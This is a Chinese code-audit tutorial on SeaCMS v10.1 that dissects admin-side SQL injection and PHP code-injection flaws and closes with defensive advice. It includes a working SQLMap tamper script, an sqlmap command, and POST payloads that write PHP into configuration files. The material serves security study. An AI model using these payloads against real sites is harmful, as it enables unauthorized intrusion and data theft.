SeaCMS v10.1代码审计实战
字数 1461 2025-08-15 21:31:19
SeaCMS v10.1 代码审计实战教学文档
一、环境准备
-
测试环境:
- PHPStudy Pro
- PHP 5.4.45 nts
- Seay代码审计工具
- PhpStorm
- SQLMap
- SeaCMS v10.1
-
源码获取:
- 由于官网已无法访问,可通过百度网盘获取:
- 链接:https://pan.baidu.com/s/1f9mXyOX6sgsersyNz-kDQg
- 提取码:j3k0
- 由于官网已无法访问,可通过百度网盘获取:
二、目录结构分析
admin/ # 后台管理目录(随机生成)
coplugins/ # 已停用目录
ebak/ # 帝国备份王数据备份
editor/ # 编辑器
img/ # 后台静态文件
js/ # 后台js文件
templets/ # 后台模板文件
article/ # 文章内容页
articlelist/ # 文章列表页
comment/ # 评论系统
api/ # 评论接口文件
images/ # 评论静态文件
js/ # 评论js文件
data/ # 配置数据及缓存文件
admin/ # 后台配置保存
cache/ # 缓存
mark/ # 水印
sessions/ # sessions文件
detail/ # 视频内容页
include/ # 核心文件
crons/ # 定时任务配置
data/ # 静态文件
inc/ # 扩展文件
webscan/ # 360安全监测模块
install/ # 安装模块
images/ # 安装模块静态文件
templates/ # 安装模块模板
js/ # js文件
ads/ # 默认广告目录
player/ # 播放器目录
list/ # 视频列表页
news/ # 文章首页
pic/ # 静态文件
faces/ # 表情图像
member/ # 会员模块界面
slide/ # 旧版Flash幻灯片
zt/ # 专题静态文件
templets/ # 模板目录
topic/ # 专题内容页
topiclist/ # 专题列表页
uploads/ # 上传文件目录
video/ # 视频播放页
weixin/ # 微信接口目录
index.php # 首页文件
三、漏洞分析
1. 后台SQL注入漏洞(一)
位置:admin_ajax.php 第76行
漏洞代码:
elseif($action == "checkrepeat") {
$v_name = iconv('utf-8','utf-8',$_GET["v_name"]);
$row = $dsql->GetOne("select count(*) as dd from sea_data where v_name='$v_name'");
$num = $row['dd'];
if($num == 0){echo "ok";} else {echo "err";}
}
漏洞分析:
- 参数
v_name直接拼接进SQL语句 - 虽然调用了
GetOne函数进行安全检查,但存在绕过可能
过滤函数分析:
function CheckSql($db_string, $querytype='select') {
// 大量关键字过滤,但都是小写过滤
$db_string = str_ireplace('--', "", $db_string);
$db_string = str_ireplace('/*', "", $db_string);
// ...其他过滤...
// 最终转换为小写
$clean = trim(strtolower(preg_replace(array('~\s+~s'), array(' '), $clean)));
// 检查union等关键字
if(stripos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) {
$fail = true;
$error = "union detect";
}
// ...其他检查...
}
绕过方式:
- 由于最终转换为小写检查,无法使用大小写绕过
- 不能使用select子查询,只能注入出当前数据库
2. 后台SQL注入漏洞(二)
位置:admin_comment_news.php 第54行
漏洞代码:
elseif($action == "delallcomment") {
if(empty($e_id)) {
ShowMsg("请选择需要删除的评论","-1");
exit();
}
$ids = implode(',', $e_id);
delcommentcache($ids);
$dsql->ExecuteNoneQuery("delete from sea_comment where id in(".$ids.")");
ShowMsg("成功删除所选评论!","admin_comment_news.php");
exit();
}
漏洞分析:
- 参数
e_id直接拼接进SQL语句 - 调用
ExecuteNoneQuery时默认未开启SQL安全检查
相关函数:
function ExecuteNoneQuery($sql='') {
// ...
// SQL语句安全检查默认关闭
if($this->safeCheck) CheckSql($this->queryString, 'update');
return mysqli_query($this->linkID, $this->queryString);
}
3. 后台SQL注入漏洞(三)
位置:admin_video.php 第44行
漏洞分析:
- 用户输入参数未经过滤直接拼接SQL语句
- 调用
ExecuteNoneQuery时默认未开启SQL安全检查
4. 后台SQL注入漏洞(四)
位置:admin_collect_news.php 第382行
漏洞代码:
elseif($action=="importok") {
$importrule = trim($importrule);
if(empty($importrule)) {
ShowMsg("规则内容为空!","-1");
exit();
}
// Base64解码和反序列化
if(m_ereg('^BASE64:',$importrule)) {
$importrules = explode(':',$importrule);
$importrule = $importrules[1];
$importrule = unserialize(base64_decode($importrule)) OR die('配置字符串有错误!');
}
// SQL拼接和执行
$sql = si("sea_co_config",$data,1);
$dsql->ExecuteNoneQuery($sql);
}
利用方式:
需要编写SQLMap的tamper脚本处理Base64编码和序列化:
#!/usr/bin/env python
# addnote.py
import base64
def tamper(payload, **kwargs):
b = 'getlistnum`) values(3+(1=2 qqq))#'
b = b.replace('qqq', payload)
a = 'a:2:{s:6:"config";a:3:{s:5:"cname";s:1:"1";s:6:"cotype";s:1:"1";s:len:"string";i:123;}s:4:"type";a:0:{}}'
a = a.replace('len', str(len(b)))
a = a.replace('string', b)
return "BASE64:" + base64.b64encode(a) + ":END"
SQLMap命令:
sqlmap.py -r request.txt -p importrule --dbms mysql --risk 3 -v 3 --dbs --tamper=addnote
5. 后台命令执行漏洞(一)
位置:admin_ip.php 第5行
漏洞代码:
if($action=="set") {
$v = $_POST['v'];
$ip = $_POST['ip'];
$open = fopen("../data/admin/ip.php","w");
$str = '<?php ';
$str .= '$v = "';
$str .= "$v";
$str .= '";' . "\n";
$str .= '$ip = "';
$str .= "$ip";
$str .= '";' . "\n";
fwrite($open,$str);
fclose($open);
ShowMsg("成功保存设置!","admin_ip.php");
exit;
}
利用方式:
构造POST请求:
action=set&v=1";phpinfo();//&ip=1";phpinfo();//
访问生成的文件:
/data/admin/ip.php
6. 后台命令执行漏洞(二)
位置:admin_weixin.php 第5行
漏洞分析:
- 类似
admin_ip.php的漏洞 - 用户输入未过滤直接写入文件
7. 后台命令执行漏洞(三)
位置:admin_notify.php 第5行
漏洞代码:
if($action=="set") {
$notify1 = $_POST['notify1'];
$notify2 = $_POST['notify2'];
$notify3 = $_POST['notify3'];
$open = fopen("../data/admin/notify.php","w");
$str = '<?php ';
$str .= '$notify1 = "';
$str .= "$notify1";
$str .= '";' . "\n";
$str .= '$notify2 = "';
$str .= "$notify2";
$str .= '";' . "\n";
$str .= '$notify3 = "';
$str .= "$notify3";
$str .= '";' . "\n";
fwrite($open,$str);
fclose($open);
ShowMsg("成功保存设置!","admin_notify.php");
exit;
}
利用方式:
构造POST请求:
action=set¬ify1=1";phpinfo();//¬ify2=1";phpinfo();//¬ify3=1";phpinfo();//
访问生成的文件:
/data/admin/notify.php
四、审计技巧总结
-
重点关注功能点:
- 文件上传功能
- SQL语句拼接处
- 文件写入操作(特别是配置文件写入)
- 反序列化操作
-
工具配合使用:
- 使用Seay源代码审计系统进行全局函数搜索
- 使用PhpStorm进行动态调试,跟踪参数传递和语句拼接
- 结合SQLMap进行自动化测试
-
代码审计要点:
- 检查用户输入是否经过充分过滤
- 跟踪敏感函数的调用链
- 注意全局安全配置是否生效
- 检查序列化和反序列化操作的安全性
-
漏洞挖掘方向:
- 寻找直接拼接SQL语句的位置
- 查找文件写入操作且未过滤用户输入的地方
- 检查反序列化操作是否可控
- 验证全局安全函数是否被正确调用
五、防御建议
-
SQL注入防御:
- 使用参数化查询
- 对所有用户输入进行严格的过滤和转义
- 确保全局安全函数被正确调用
-
命令执行防御:
- 对写入文件的内容进行严格过滤
- 避免将用户输入直接拼接到PHP代码中
- 使用白名单验证输入内容
-
其他安全措施:
- 限制后台访问IP
- 加强权限控制
- 定期更新和修补系统漏洞
通过本案例学习,可以掌握基本的代码审计方法和常见漏洞的挖掘技巧,特别是后台功能的安全审计要点。